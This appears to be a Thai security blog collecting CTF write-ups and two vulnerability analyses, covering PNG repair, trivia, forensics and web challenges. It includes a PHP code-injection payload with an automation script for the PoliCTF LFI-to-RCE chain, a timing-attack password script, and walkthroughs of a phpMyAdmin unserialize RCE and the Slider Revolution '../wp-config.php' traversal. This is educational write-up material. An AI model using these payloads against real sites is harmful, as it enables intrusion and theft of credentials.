          หลังจากเสร็จสิ้นการแข่งขันก็มีการมอบรางวัลก็จะมีรางวัลชนะเลิศเป็นทีม Pwnladin และรองชนะเลิศเป็นทีม asdfghjkl ส่วนทีม null ได้รางวัลชมเชยครับ ก็ได้เป็นเกียรติบัตร และเงินรางวัล 10,000 บาท หลังจากนั้นก็มี party มีอาหารให้ทาน หรูมากเช่นกัน พี่ที่เป็นพิธีกรฮามาก มีให้เล่นแนะนำตัวกันระหว่าง 8 ทีมที่เข้าร่วมการแข่งขัน จำชื่อให้ได้ให้ครบเกือบ 24 คน

Summary


          ขอบคุณ ThaiCERT, ETDA และ SECCON มากๆ ครับ ที่จัดการแข่งขันที่สนุกๆ แบบนี้ ถ้าปีหน้าจัดอีกก็จะลงแข่งอีกแน่นอน และขอแสดงความยินดีกับทีม Pwnladin และทีม asdfghjkl ที่ได้เป็นตัวแทนของประเทศไทย ไปแข่งต่อในงาน Cyber SEA Game ที่ประเทศอินโดนิเซียครับ

Reference


1. CTF? WTF?
2. แข่งแฮก CTF คืออะไร
3. http://icheernoom.blogspot.com/search/label/ctf
4. My first web security contest (FITWHEY + HyperHackathon)
5. SECCON CTF 2014

วันเสาร์ที่ 3 ตุลาคม พ.ศ. 2558

D-CTF 2015: She said it doesn't matter (Misc) Write-up

Description:
Void. Empty. Null.
Solution:

1. Download m100.png and open it with default Image viewer, I found IHDR CRC error?


2. Check m100.png using pngcheck and result below
root@ubuntu:~# pngcheck -v m100.png 
File: m100.png (65141 bytes)
  chunk IHDR at offset 0x0000c, length 13
    666 x 519 image, 32-bit RGB+alpha, non-interlaced
  CRC error in chunk IHDR (computed 3ff4fc62, expected 35468913)

3. Try to change IHDR value from 35468913 to 3ff4fc62 in HexEd.it online hex editor.

Default value:


After change value:


Export to view



I think it may be enough, but not have flag. :(

4. Try to change Image Height value from 519 (207) to 550 (226), Decimal to Hex :)

Default value:


After change value and export to m100_fixsize.png.



5. Check m100_fixsize.png using pngcheck again and result below
root@ubuntu:~# pngcheck -v m100_fixsize.png
File: m100_fixsize.png (65141 bytes)
  chunk IHDR at offset 0x0000c, length 13
    666 x 550 image, 32-bit RGB+alpha, non-interlaced
  CRC error in chunk IHDR (computed f3042af1, expected 3ff4fc62)
ERRORS DETECTED in m100_fixsize.png

6. Try to change IHDR value from 3ff4fc62 to f3042af1 in HexEd.it online hex editor again.

After change value:


Export to view and get a flag :D


Flag: s1z3_d03s_ma773r_baby

วันจันทร์ที่ 21 กันยายน พ.ศ. 2558

CSAW CTF 2015: Trivia 1-6 (Trivia) Write-up



Challenge: Trivia 1
Description:
This family of malware has gained notoriety after anti-virus and threat intelligence companies claimed that it was being used by several Chinese military groups.
Solution: http://www.esecurityplanet.com/malware/report-plugx-is-rat-of-choice-for-nation-states.html
Flag: PlugX

Challenge: Trivia 2
Description:
No More Free __!
Solution: http://www.zdnet.com/article/no-more-free-bugs-there-never-were-any-free-bugs/
Flag: Bugs

Challenge: Trivia 3
Description:
This mode on x86 is generally referred to as ring -2.
Solution: https://en.wikipedia.org/wiki/System_Management_Mode
Flag: SMM

Challenge: Trivia 4
Description:
This vulnerability occurs when the incorrect timing/sequence of events may cause a bug.
Solution: https://en.wikipedia.org/wiki/Race_condition
Flag: Race condition

Challenge: Trivia 5
Description:
On Windows, loading a library and having it's code run in another process is called _ .
Solution: https://en.wikipedia.org/wiki/DLL_injection
Flag: DLL injection

Challenge: Math aside, we're all black hats Now
Description:
This Pentesting expert supplied HBO's Silicon Valley with technical advice in season 2. The flag is his twitter handle.
Solution: https://www.linkedin.com/in/mubix
Flag: mubix

วันอาทิตย์ที่ 12 กรกฎาคม พ.ศ. 2558

PoliCTF 2015: Magic Chall (Web) Write-up

Description:
I visit this website when I'm sad, contains many magical things that help me to find the solution. Focused on  your problem and find "the magic thing" that will help you to solve it.
Solution:

1. Go to http://magic.polictf.it/index.php?page=register, and I try Local File Inclusion in "page" parameter with base64 encode php filter.
Ex. http://magic.polictf.it/index.php?page=php://filter/convert.base64-encode/resource=index, and read all php file.



2. /index.php file. 
if(isset($_POST["login"])){
 if(isset($_POST["username"]) && isset($_POST["password"]) && !is_array($_POST["username"]) && !is_array($_POST["password"])){
  $user = new User($_POST["username"], $_POST["password"]);
  $login = $user -> login();
  if($login){
   $logger = new Logger(gethostbyaddr($_SERVER["REMOTE_ADDR"]), $user);
   $logger -> log_access();
   header("Location: magic_things.php");
  }
 }
}
gethostbyaddr function *0*, I go to http://ipinfo.io/ and get my hostname. :)

3. /classes/logger/logger.php, in __construct I see...
 public function __construct($host, $user){
  $this -> host = $host;
  $this -> filename = $_SERVER["DOCUMENT_ROOT"]."log/" . $host . "_" . $user->getSurname();
  $this -> user = $user;
  date_default_timezone_set("UTC");
 } 
log_access() function and initLogFile() function have fwrite to write log file. It mean in /log folder have a log file name will concat my hostname and underscore and surname (in register)
Ex. http://magic.polictf.it/log/ppp-127.0.0.1.revip8.asianet.co.th_surname

I can write file :D

4. back to index.php
  <div id="content">
   <?php 
    include($page.".php");
   ?>
  </div>
include function can be execute php code!!
in "surname" field I set to name.php.

5. In "name" and "surname" field I can set to php code. Ex. <?php phpinfo(); ?>, and I select to set php code in "name" field.
 public function log_access(){
  $active = $this -> user -> isActive();
  if(!$active){
   $this -> initLogFile();
  }
  $fo = fopen($this -> filename, 'a');
  if($fo){
   $write = fwrite($fo, date('l jS \of F Y h:i:s A') . " - " . $this -> user -> getUsername() .": log in success\n");
   fclose($fo);
   if($write)
    return true;
   else
    return false;
  }
 }
 
 public function initLogFile(){
  $fo = fopen($this -> filename, 'w+');
  if($fo){
   $write = fwrite($fo, "name|".$this -> user -> getName().";surname|".$this->user->getSurname().";date_creation|UTC:".date('l jS \of F Y h:i:s A')."\n");//write header in logfile.
   fclose($fo);
   if($write){
    $this -> user -> setActiveBit(1);
    return true;
   }
   else
    return false;
  }
 }
6. In /classes/magic/magic.php, I just LFI to Remote code execution to call __call function.
 public function __call($iveNeverSeenAnythingSoMagical, $magicArguments) {
  $mysqli = new mysqli("localhost", "magic", "nrqdUz4PMKNFZ7iphnzE", "magicchall");
  $stmt = $mysqli->prepare("SELECT word FROM magic_word");
  $stmt -> execute();
  $stmt -> store_result();
  $stmt -> bind_result($magic_word);
  $stmt -> fetch();
  echo "I THINK THIS IS THE VERY MAGIC THING: " . $magic_word;
  session_destroy();
 }

Exploitation:

Step 1: Register - http://magic.polictf.it/index.php?page=register

Name: <?php $magic = new Magic(); $magic->__call(); ?>
Surname: icheernoom.php
User: icheernoom
Password: icheernoom

Step 2: Login - http://magic.polictf.it/index.php?page=login

User: icheernoom
Password: icheernoom

Step 3: Access to http://magic.polictf.it/index.php?page=log/ppp-127.0.0.1.revip8.asianet.co.th_icheernoom

Get a flag!
  <div id="content">
   name|I THINK THIS IS THE VERY MAGIC THING: flag{session_regenerate_id()_is_a_very_cool_function_use_it_whenever_you_happen_to_use_session_start()};surname|icheernoom.php;date_creation|UTC:Saturday 11th of July 2015 06:52:15 PM
Saturday 11th of July 2015 06:52:15 PM - icheernoom: log in success
  </div>
My Automate Script:

#!/usr/bin/python
# Author: Kitwipat Towattana (@icheernoom)
import urllib, urllib2, re, sys, socket, random
if len(sys.argv) < 2:
print "Usage: {0} {1}".format(sys.argv[0], "\"<?php phpinfo(); >\"")
sys.exit()
host = socket.gethostbyaddr("127.0.0.1")[0] #change to your ip
url_register = 'http://magic.polictf.it/index.php?page=register'
url_login = 'http://magic.polictf.it/index.php?page=login'
url_log = 'http://magic.polictf.it/index.php?page=log/{0}'.format(host)
random = str(random.randint(100,10000))
name = sys.argv[1]
surname = "{0}.php".format(random)
username = random
password = random
def register(name, surname, username, password):
post_data = urllib.urlencode({'name' : name, 'surname' : surname, 'username' : username, 'password' : password, 'register' : 'send'})
req = urllib2.Request(url_register, post_data)
resp = urllib2.urlopen(req).read()
def login(username, password):
post_data = urllib.urlencode({'username' : username, 'password' : password, 'login' : 'login'})
req = urllib2.Request(url_login, post_data)
resp = urllib2.urlopen(req).read()
def exploit(url_log, surname):
log_path = "{0}_{1}".format(url_log, surname.replace(".php",""))
req = urllib2.Request(log_path)
resp = urllib2.urlopen(req).read()
return resp
print "[*] Register with username: {0}".format(username)
register(name, surname, username, password)
print "[*] Login"
login(username, password)
print "[*] Exploit"
content = exploit(url_log, surname)
result = re.search('name\|(.*)\;surname', content, re.DOTALL)
print "[*] Result: \n",result.group(1)
'''
root@ubuntu:~# python web350.py "<?php $magic = new Magic(); $magic->__call(); ?>"
[*] Register with username: 1337
[*] Login
[*] Exploit
[*] Result:
I THINK THIS IS THE VERY MAGIC THING: flag{session_regenerate_id()_is_a_very_cool_function_use_it_whenever_you_happen_to_use_session_start()}
'''
view raw web350.py hosted with ❤ by GitHub

Explorer:



and more...

Flag: flag{session_regenerate_id()_is_a_very_cool_function_use_it_whenever_you_happen_to_use_session_start()}

วันเสาร์ที่ 25 เมษายน พ.ศ. 2558

CAMSCTF CCTF 2015: Web B (Exploitation) Write-up

Description:
"Time is what we want most, but what we use worst." - William Penn
Solution:

          Target: http://web.camsctf.com/b/



          Intercept http request with Burp Suite.


          debug=0 ?, try to change debug to 1


          Base64 decode and get a start time and end time.


          "Time", then I see this word, I think It must about Side-channel attack, and my solution below.

#!/usr/bin/python
# Author: Kitwipat Towattana (@icheernoom)
import urllib, urllib2, string, re, sys
def minus(num):
return float(num[0]) - float(num[1])
url_check = 'http://web.camsctf.com/b/check.php'
for i in list(string.printable):
password = sys.argv[1]+i
post_data = urllib.urlencode({'password' : password, 'debug' : '1'})
req = urllib2.Request(url_check, post_data)
resp = urllib2.urlopen(req).read()
b64 = re.search("\"reply\":\"(.*)\"",resp).group(1)
print "Password {0} : {1}".format(password,b64)
num = b64.decode('base64').split("-")
result = minus(num)
print "Password {0} : {1}".format(password,result)
'''
root@ubuntu:~# python web300.py "" #see a different amounts of time to process.
...[snip]...
root@ubuntu:~# python web300.py "u"
...[snip]...
root@ubuntu:~# python web300.py "uH"
...[snip]...
root@ubuntu:~# python web300.py "uHH"
...[snip]...
root@ubuntu:~# python web300.py "uHH>n"
...[snip]...
root@ubuntu:~# python web300.py "uHH>nN"
...[snip]...
root@ubuntu:~# python web300.py "uHH>nN#"
...[snip]...
root@ubuntu:~# python web300.py "uHH>nN#)"
...[snip]...
root@ubuntu:~# python web300.py "uHH>nN#)["
...[snip]...
root@ubuntu:~# python web300.py "uHH>nN#)[K"
...[snip]...
root@ubuntu:~# python web300.py "uHH>nN#)[Ks"
...[snip]...
root@ubuntu:~# python web300.py "uHH>nN#)[Ks5"
...[snip]...
root@ubuntu:~# python web300.py "uHH>nN#)[Ks5v"
...[snip]...
root@ubuntu:~# python web300.py "uHH>nN#)[Ks5v:"
...[snip]...
Password uHH>nN#)[Ks5v:A : MTQyOTY3MzA5OS4zMTk2LTE0Mjk2NzMwOTkuNjAwNg==
Password uHH>nN#)[Ks5v:A : -0.280999898911
Password uHH>nN#)[Ks5v:B : MTQyOTY3MzA5OS45NjI2LTE0Mjk2NzMxMDAuMjQzNw==
Password uHH>nN#)[Ks5v:B : -0.281100034714
Password uHH>nN#)[Ks5v:C : MTQyOTY3MzEwMC41NjUtMTQyOTY3MzEwMC44NDU1
Password uHH>nN#)[Ks5v:C : -0.28049993515
Password uHH>nN#)[Ks5v:D : MTQyOTY3MzEwMS4xOTU5LTE0Mjk2NzMxMDEuNDgxMw==
Password uHH>nN#)[Ks5v:D : -0.285400152206
Password uHH>nN#)[Ks5v:E : Flag: {how_many_microseconds_did_i_waste_solving_this_0ne}
'''
view raw web300.py hosted with ❤ by GitHub
          password=uHH>nN#)[Ks5v:E&debug=1 to get the flag. :D

Flag: {how_many_microseconds_did_i_waste_solving_this_0ne}

CAMSCTF CCTF 2015: Python 2 (Programming) Write-up

Description:
1.) Take the RGB value of every pixel in one image.(Start at (0,0). Move down to (0,299). Go to (1,0). Move to (1,299). And so on. Read the files in numerical order.)
2.) Add all of the R values, G values, and B values in each image. (Have one R sum, one B sum, one G sum for every image.)
3.) Take these sums and convert them into strings. Take the MD5 hash of each string.
4.) Concatenate these MD5 hashes into one string.
5.) Take the MD5 hash of the new string.
6.) Do this for every image and concatenate the final MD5 hashes into one string. (Image 1 final hash + Image 2 final hash + ...)
7.) Take the MD5 of this string to get the flag.
PIL.zip

Solution: 

#!/usr/bin/python
# Author: Kitwipat Towattana (@icheernoom)
import hashlib
from PIL import Image
md5 = []
width = 300
height = 300
for i in range(0,10):
img_file = "pixels{0}.png".format(i)
img = Image.open(img_file)
rgb_img = img.convert('RGB')
xr = 0
xg = 0
xb = 0
for x in range(0,width):
for y in range(0,height):
r, g, b = rgb_img.getpixel((x,y))
xr += r
xg += g
xb += b
r = hashlib.md5("{0}".format(xr)).hexdigest()
g = hashlib.md5("{0}".format(xg)).hexdigest()
b = hashlib.md5("{0}".format(xb)).hexdigest()
sum_md5 = "{0}{1}{2}".format(r,g,b)
concate = hashlib.md5("{0}".format(sum_md5)).hexdigest()
print "[*] MD5 of {0}: {1}".format(img_file,concate)
md5.append(concate)
print "[*] Flag:",hashlib.md5("".join(md5)).hexdigest()
'''
root@ubuntu:/PIL# ls
pixels0.png pixels2.png pixels4.png pixels6.png pixels8.png prog250.py
pixels1.png pixels3.png pixels5.png pixels7.png pixels9.png Thumbs.db
root@ubuntu:/PIL# python prog250.py
[*] MD5 of pixels0.png: e767124634834f12a7152104d4713074
[*] MD5 of pixels1.png: a88372d92bcc6e8f5f569bc3c00fab23
[*] MD5 of pixels2.png: 345265539e1b9078323b7051346892de
[*] MD5 of pixels3.png: 92ae219f8b8403e04b550eb831a017bf
[*] MD5 of pixels4.png: a4bd4eb96fe9cc779c2e81864c81b674
[*] MD5 of pixels5.png: 4723f098c933b160d00678b7be3421c4
[*] MD5 of pixels6.png: 3a4c3cb7b2fd704c4e7717547f7db4d9
[*] MD5 of pixels7.png: bc1f5bc7b30eaac677d6daa37eed5e4c
[*] MD5 of pixels8.png: a4edf81b7f2915c4c1b72d8367c5016a
[*] MD5 of pixels9.png: 864ae043e67a693d7672986487a87813
[*] Flag: 2d98c27f040ce429b35dd84124397f65
root@ubuntu:/PIL#
'''
view raw prog250.py hosted with ❤ by GitHub
Flag: 2d98c27f040ce429b35dd84124397f65

CAMSCTF CCTF 2015: Web 2 (Exploitation) Write-up

Description: 
You're probably thinking too hard about this.
Hint:
Remember that time when you guessed the admin password? Yeah.
Solution:
          Target: http://web.camsctf.com/2/ OK, Brute force time was begin. :D, Open Burp Suite and Intercept HTTP Request and send to Intruder tab with wordlist.


          password=letmein

Flag: {still_b3tter_than_princess}

CAMSCTF CCTF 2015: Excel Data (Forensics) Write-up

Description:
Ever wonder why your homework gets corrupted so easily?
Solution: 
          Forensic challenge, In basically I try strings and grep command to find something. xD
root@ubuntu:~# file excel_data.xlsx 
excel_data.xlsx: Zip archive data, at least v1.0 to extract
root@ubuntu:~# strings excel_data.xlsx | grep "flag"
xl/charts/flag.txt
xl/charts/flag.txt
root@ubuntu:~# mv excel_data.xlsx excel_data.zip
root@ubuntu:~# unzip excel_data.zip 
Archive:  excel_data.zip
   creating: docProps/
  inflating: docProps/app.xml        
  inflating: docProps/core.xml       
   creating: xl/
  inflating: xl/calcChain.xml        
   creating: xl/charts/
  inflating: xl/charts/chart1.xml    
  inflating: xl/charts/chart2.xml    
  inflating: xl/charts/flag.txt      
   creating: xl/drawings/
  inflating: xl/drawings/drawing1.xml  
  inflating: xl/drawings/drawing2.xml  
   creating: xl/drawings/_rels/
  inflating: xl/drawings/_rels/drawing1.xml.rels  
  inflating: xl/drawings/_rels/drawing2.xml.rels  
  inflating: xl/sharedStrings.xml    
  inflating: xl/styles.xml           
   creating: xl/theme/
  inflating: xl/theme/theme1.xml     
  inflating: xl/workbook.xml         
   creating: xl/worksheets/
  inflating: xl/worksheets/sheet1.xml  
  inflating: xl/worksheets/sheet2.xml  
  inflating: xl/worksheets/sheet3.xml  
  inflating: xl/worksheets/sheet4.xml  
   creating: xl/worksheets/_rels/
  inflating: xl/worksheets/_rels/sheet2.xml.rels  
  inflating: xl/worksheets/_rels/sheet3.xml.rels  
   creating: xl/_rels/
  inflating: xl/_rels/workbook.xml.rels  
  inflating: [Content_Types].xml     
   creating: _rels/
  inflating: _rels/.rels             
root@ubuntu:~# cat xl/charts/flag.txt 
{iT's_r1gh7_h3r3}
root@ubuntu:~#

Flag: {iT's_r1gh7_h3r3}

CAMSCTF CCTF 2015: Trivia 1-5 (Recon) Write-up

Challenge: Trivia 1
Description:
What is Microsoft's code name for their new internet browser?
Solution: http://en.wikipedia.org/wiki/List_of_Microsoft_codenames
Flag: Spartan

Challenge: Trivia 2
Description:
What is arguably the smallest Linux distribution with a GUI that is still being developed?
Solution: http://www.junauza.com/2011/07/5-tiniest-linux-distributions-for-your.html
Flag: Tiny Core Linux

Challenge: Trivia 3
Description:
As of 2014, how many terabytes of data has Google Inc. indexed? Answer in form of an integer followed by the unit.
Solution: http://www.websitemagazine.com/content/blogs/posts/archive/2014/07/22/do-you-know-how-big-the-internet-really-is-infographic.aspx
Flag: 200 terabytes

Challenge: Trivia 4
Description:
What is the official fastest clock speed of any computer?
Solution: http://en.wikipedia.org/wiki/Clock_rate
Flag: 8.805 GHz

Challenge: Trivia 5
Description:
Which OS is most popular for the Raspberry Pi?
Solution: http://www.linuxuser.co.uk/reviews/top-4-raspberry-pi-os
Flag: Raspbian

วันพฤหัสบดีที่ 12 มีนาคม พ.ศ. 2558

n00bs CTF Labs by Infosec Institute Write-up


Level 1

root@ubuntu:~# curl -s http://ctf.infosecinstitute.com/levelone.php | grep flag
<!-- infosec_flagis_welcome -->
root@ubuntu:~#
Flag: infosec_flagis_welcome

Level 2

root@ubuntu:~# wget http://ctf.infosecinstitute.com/img/leveltwo.jpeg
...[snip]...

2015-03-12 11:26:51 (1.03 MB/s) - ‘leveltwo.jpeg’ saved [45/45]

root@ubuntu:~# file leveltwo.jpeg
leveltwo.jpeg: ASCII text
root@ubuntu:~# cat leveltwo.jpeg
aW5mb3NlY19mbGFnaXNfd2VhcmVqdXN0c3RhcnRpbmc=
root@ubuntu:~# echo aW5mb3NlY19mbGFnaXNfd2VhcmVqdXN0c3RhcnRpbmc= | base64 --decode
infosec_flagis_wearejuststarting
root@ubuntu:~#
Flag: infosec_flagis_wearejuststarting

Level 3

Paste URL of QRCODE Image to http://zxing.org/w/decode.jspx and result as morse code
.. -. ..-. --- ... . -.-. ..-. .-.. .- --. .. ... -- --- .-. ... .. -. --.
Go to morse code decoder online http://morsecode.scphillips.com/translator.html
Flag: INFOSECFLAGISMORSING

Level 4

HTTP Header of http://ctf.infosecinstitute.com/levelfour.php
See in Set-Cookie:fusrodah=vasbfrp_syntvf_jrybirpbbxvrf Rot13 ?
Go to http://www.rot13.com/index.php and decode it.
Flag: infosec_flagis_welovecookies

Level 6

Open sharefin.pcap with wireshark
Statistics > Conversation > UDP
Follow UDP Stream and found 696e666f7365635f666c616769735f736e6966666564
Hex to character
Flag: infosec_flagis_sniffed

Level 7

Status code of http://ctf.infosecinstitute.com/levelseven.php

root@ubuntu:~# echo aW5mb3NlY19mbGFnaXNfeW91Zm91bmRpdA== | base64 --decode
infosec_flagis_youfoundit
root@ubuntu:~#
Flag: infosec_flagis_youfoundit

Level 8

root@ubuntu:~# strings app.exe | grep infosec
infosec_flagis_0x1a
# Welcome to infosec institute net app v1.0#
root@ubuntu:~#
Flag: infosec_flagis_0x1a

Level 9

username: root , password: attack
root@ubuntu:~# echo "ssaptluafed_sigalf_cesofni" | rev
infosec_flagis_defaultpass
root@ubuntu:~#
Flag: infosec_flagis_defaultpass

Level 11

root@ubuntu:~# wget http://ctf.infosecinstitute.com/img/php-logo-virus.jpg
...[snip]...

2015-03-12 15:01:37 (86.3 MB/s) - ‘php-logo-virus.jpg’ saved [13791/13791]

root@ubuntu:~# strings php-logo-virus.jpg | grep flag
infosec_flagis_aHR0cDovL3d3dy5yb2xsZXJza2kuY28udWsvaW1hZ2VzYi9wb3dlcnNsaWRlX2xvZ29fbGFyZ2UuZ2lm
root@ubuntu:~# echo aHR0cDovL3d3dy5yb2xsZXJza2kuY28udWsvaW1hZ2VzYi9wb3dlcnNsaWRlX2xvZ29fbGFyZ2UuZ2lm | base64 --decode
http://www.rollerski.co.uk/imagesb/powerslide_logo_large.gif
root@ubuntu:~#
Flag: infosec_flagis_powerslide

Level 13

1. /levelthirteen.php.old
2. Download  <a href="misc/imadecoy"> open with wireshark
3. File > Export object > HTTP > HoneyPY.png
Flag: infosec_flagis_morepackets

Level 14

Directory listing in /misc/ and found level14.db

root@ubuntu:~# cat level14.db
\u0069\u006e\u0066\u006f\u0073\u0065\u0063\u005f\u0066\u006c\u0061\u0067\u0069\u0073\u005f\u0077\u0068\u0061\u0074\u0073\u006f\u0072\u0063\u0065\u0072\u0079\u0069\u0073\u0074\u0068\u0069\u0073
root@ubuntu:~#

Unicode decode online http://unicode.online-toolz.com/tools/text-unicode-entities-convertor.php
Flag: infosec_flagis_whatsorceryisthis

วันจันทร์ที่ 2 มีนาคม พ.ศ. 2558

sCTF 2015 Q1: 3 Guessing Game Write-up

Description:
I'm thinking of an integer between 1 and 10.
python.sctf.io:11234
My number is randomly generated each time you guess.
Solution:
root@ubuntu:~# nc python.sctf.io 11234
What is your guess?10
Nope!
root@ubuntu:~# 
          I write a simple python script to solved 3 problem (1 .. 10, 1 .. 100, 1 .. 1000)
#!/usr/bin/python
import socket, sys

while True:
 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 s.connect(('python.sctf.io', 11234)) #just change port 
 recv = s.recv(8192)
 if "guess" in recv:
  print recv
  data = 10 #specific number and wait...
  print data
  s.send(bytes(data))
  recv = s.recv(8192)
  print recv
  if not "Nope" in recv:
   print recv
   sys.exit()
 s.close
Flag:
Simple Guessing Game : qqq12345
Not-So-Simple Guessing Game : nopeisacoolword
Cruel Guessing Game : thatwascruel

วันพฤหัสบดีที่ 12 กุมภาพันธ์ พ.ศ. 2558

In-Depth Analysis: phpMyAdmin /scripts/setup.php Remote Code Execution

       
          จบไปประมาณเกือบ 1 สัปดาห์แล้วสำหรับงาน MHCon2015 หรือ Meet the Hackers Conference 2015 เป็นงานที่มีวิทยากรที่มีความรู้ความสามารถด้าน Cybersecurity มาพูดบรรยายให้ฟังกัน ซึ่งท้ายๆงานที่วิทยากรบรรยายหัวข้อ Exploit for Fun and Profit Vulnerabilities Types and Exploit Scenarios Demo (vulnerability exploitation) โดยผมจะนำช่องโหว่ของ phpMyAdmin ที่ติดมากับ Appserv เวอร์ชั่น 2.5.10 ได้รหัส PMASA-2010-3 จนถึงวันนี้ก็ประมาณ 4-5 ปีแล้วมาอธิบายครับ
          ช่องโหว่นี้เป็นช่องโหว่ประเภท PHP Object Injection ซึ่งตามที่เข้าใจนั้น PHP Object Injection เป็นช่องโหว่ที่ เมื่อโจมตีส่งข้อมูลผ่านทาง Input ต่างๆ ไม่ว่าจะเป็น GET, POST, COOKIE, HTTP Header หรืออื่นๆ เข้ามายังฟังก์ชั่น unserialize โดยฟังก์ชั่น unserialize จะสามารถกำหนดหรือสร้าง Object ที่เป็น Instance ของ Class ที่มีอยู่ได้ ส่วนการทำงานของ Class ก็จะมีการไปเรียก Magic Method อื่นให้ทำงานอัตโนมัติ ตัวอย่าง __wakeup, __toString เป็นต้น ส่วนรายละเอียดแต่ละ Magic Method นั้นลองหาอ่านดูครับ
         กลับมาที่ช่องโหว่ของ phpMyAdmin เริ่มจากไฟล์ที่มีช่องโหว่นั้นอยู่ที่ /scripts/setup.php โดยผู้โจมตีจะส่ง POST data มาที่ไฟล์นี้
if (isset($_POST['configuration']) && $action != 'clear' ) {
    // Grab previous configuration, if it should not be cleared
    $configuration = unserialize($_POST['configuration']);
} else {
    // Start with empty configuration
    $configuration = array();
}

          มีการรับค่า $_POST['configuration'] มาใส่ฟังก์ชั่น unserialize เพื่อกำหนดค่าในตัวแปร $source ของคลาส PMA_Config ในไฟล์ /libraries/Config.class.php
class PMA_Config
{
    /**
     * @var string  default config source
     */
    var $default_source = './libraries/config.default.php';

    /**
     * @var array   configuration settings
     */
    var $settings = array();

    /**
     * @var string  config source
     */
    var $source = '';

          สังเกตุตัวแปร $source ว่างเปล่า การโจมตีจะทำการกำหนดค่าในตัวแปรนี้ คลาส PMA_Config ทำงาน และจะมีการไปเรียก __wakeup() มาใช้งานทันที
    /**
     * re-init object after loading from session file
     * checks config file for changes and relaods if neccessary
     */
    function __wakeup()
    {
        if (! $this->checkConfigSource()
          || $this->source_mtime !== filemtime($this->getSource())
          || $this->default_source_mtime !== filemtime($this->default_source)
          || $this->error_config_file
          || $this->error_config_default_file) {
            $this->settings = array();
            $this->load();
            $this->checkSystem();
        }

          ฟังก์ชั่น load() จะมี $source=null โดย default อยู่แล้ว แต่ $source ถูกกำหนดให้เป็นพาธของไฟล์ที่ต้องการอ่านค่า เพื่อใส่ลงฟังก์ชั่น eval
    /**
     * loads configuration from $source, usally the config file
     * should be called on object creation and from __wakeup if config file
     * has changed
     *
     * @param   string $source  config file
     */
    function load($source = null)
    {
        $this->loadDefaults();

        if (null !== $source) {
            $this->setSource($source);
        }

        if (! $this->checkConfigSource()) {
            return false;
        }

        $cfg = array();

        /**
         * Parses the configuration file
         */
        $old_error_reporting = error_reporting(0);
        if (function_exists('file_get_contents')) {
            $eval_result =
                eval('?>' . trim(file_get_contents($this->getSource())));
        } else {
            $eval_result =
                eval('?>' . trim(implode("\n", file($this->getSource()))));
        }
        error_reporting($old_error_reporting);

        if ($eval_result === false) {
            $this->error_config_file = true;
        } else  {
            $this->error_config_file = false;
            $this->source_mtime = filemtime($this->getSource());
        }

          ถ้ามีฟังก์ชั่น flie_get_contents จะส่งไป eval ที่บรรทัด 391 แต่ถ้าไม่มีจะส่งไปใช้ฟังก์ชั่น file ที่บรรทัด 394 โดยมีการใช้ฟังก์ชั่น eval กับ $this->getSource() ตามไปดูฟังก์ชั่น getSource จะมีการชี้ไปที่ $source เพื่อส่งค่าในตัวแปร $source กลับไปนั่นเอง
    /**
     * returns source for current config
     * @return  string  config source
     */
    function getSource()
    {
        return $this->source;
    }

          สรุปการโจมตีด้วย PHP Object Injection ใน phpMyAdmin นี้จะเป็นการกำหนดค่าใน $source ที่เป็น Object และไม่มีค่าอะไรอยู่ เมื่อไล่ตามโค้ดลงมา ค่าใน $source ก็จะไปอยู่ในฟังก์ชั่น eval ถ้าค่าในตัวแปร $source เป็นโค้ด PHP ก็สามารถรันโค้ด PHP นั้นๆ ได้
          สำหรับการแก้ไขก็เป็นการอัพเดทเป็นเวอร์ชั่นที่ใหม่กว่าอาจจะเป็นเวอร์ชั่น 4 หรือปัจจุบันครับ สำหรับแพทช์ [setup] avoid usage of (un)serialize, what might be unsafe in some cases
          นอกจากช่องโหว่นี้ยังมีช่องโหว่ PHP Object Injection จาก CMS อื่นๆซึ่งน่าสนใจเช่นกัน สุดท้ายนี้ ...


Ref: PHP Object Injection
Ref: phpMyadmin /scripts/setup.php Execute Arbitrary PHP Code Via unserialize Vul Object Injection
Ref: Shocking News in PHP Exploitation
Ref: 2600Thailand
Special Thank: sleepya, LongCat, Xelenonz

วันพุธที่ 7 มกราคม พ.ศ. 2558

In-Depth Analysis: Slider Revolution (lead to SoakSoak malware)

          

          เกริ่นก่อนว่าไม่ใช่ช่องโหว่ใหม่อะไรนะครับ ถถถ LoL ... หลังจากที่ได้อ่านข่าว Russian malware targets WordPress users, over 100,000 sites infected สรุปคร่าวๆได้ว่า มีเว็บไซต์ที่ได้รับผลกระทบจากมัลแวร์ชื่อ SoakSoak เป็นจำนวนมากถึงกวา่ 100k เว็บซึ่งมัลแวร์ดังกล่าวได้ใช้ประโยชน์จาก Slider Revolution ที่เป็น Third party ที่ติดมากับ Plugin/ Theme ของ Wordpress โดยแพคเก็จดังกล่าวมีช่องโหว่ Local File Inclusion อยู่ ก็เลยเอามาวิเคราะห์ช่องโหว่นี้เพ่ืออธิบายครับ
          ขั้นตอนแรกจะเห็นว่าการโจมตีจะเกิดจากการ GET Request ไปที่ /wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php จะเห็นว่าพารามิเตอร์ img ถูกเรียกไปที่ wp-config.php ซึ่งเป็นไฟล์ที่ใช้เก็บค่า Config ต่างๆ ใน Database บน Wordpress ครับ
          โดยที่พารามิเตอร์ img นั้นอยู่ในคลาส UniteImageViewRev ฟังก์ชั่น showImageFromGet ที่ไฟล์ /revslider/inc_php/framework/image_view.class.php ครับ
public function showImageFromGet(){
   
 $imageFilename = UniteFunctionsRev::getGetVar("img");
 $maxWidth = UniteFunctionsRev::getGetVar("w",-1);
 $maxHeight = UniteFunctionsRev::getGetVar("h",-1);
 $type = UniteFunctionsRev::getGetVar("t","");
   
 //set effect
 $effect = UniteFunctionsRev::getGetVar("e");
 $effectArgument1 = UniteFunctionsRev::getGetVar("ea1");
   
 if(!empty($effect))
  $this->setEffect($effect,$effectArgument1);
   
 $this->showImage($imageFilename,$maxWidth,$maxHeight,$type);
}

          มีการเก็บค่าที่รับมาจากพารามิเตอร์ img ใส่ไว้ในตัวแปร $imageFilename จากนั้นก็ถูกส่งเข้าไปในฟังก์ชั่น showImage ครับ
private function showImage($filename,$maxWidth=-1,$maxHeight=-1,$type=""){
   
 if(empty($filename))
  $this->throwError("image filename not found");
   
  //validate input
  if($type == self::TYPE_EXACT || $type == self::TYPE_EXACT_TOP){
   if($maxHeight == -1)
    $this->throwError("image with exact type must have height!");
   if($maxWidth == -1)
    $this->throwError("image with exact type must have width!");
  }
   
  $filepath = $this->pathImages.$filename;     
   
   
  if(!is_file($filepath)) $this->outputEmptyImageCode();
   
  //if gd library doesn't exists - output normal image without resizing.
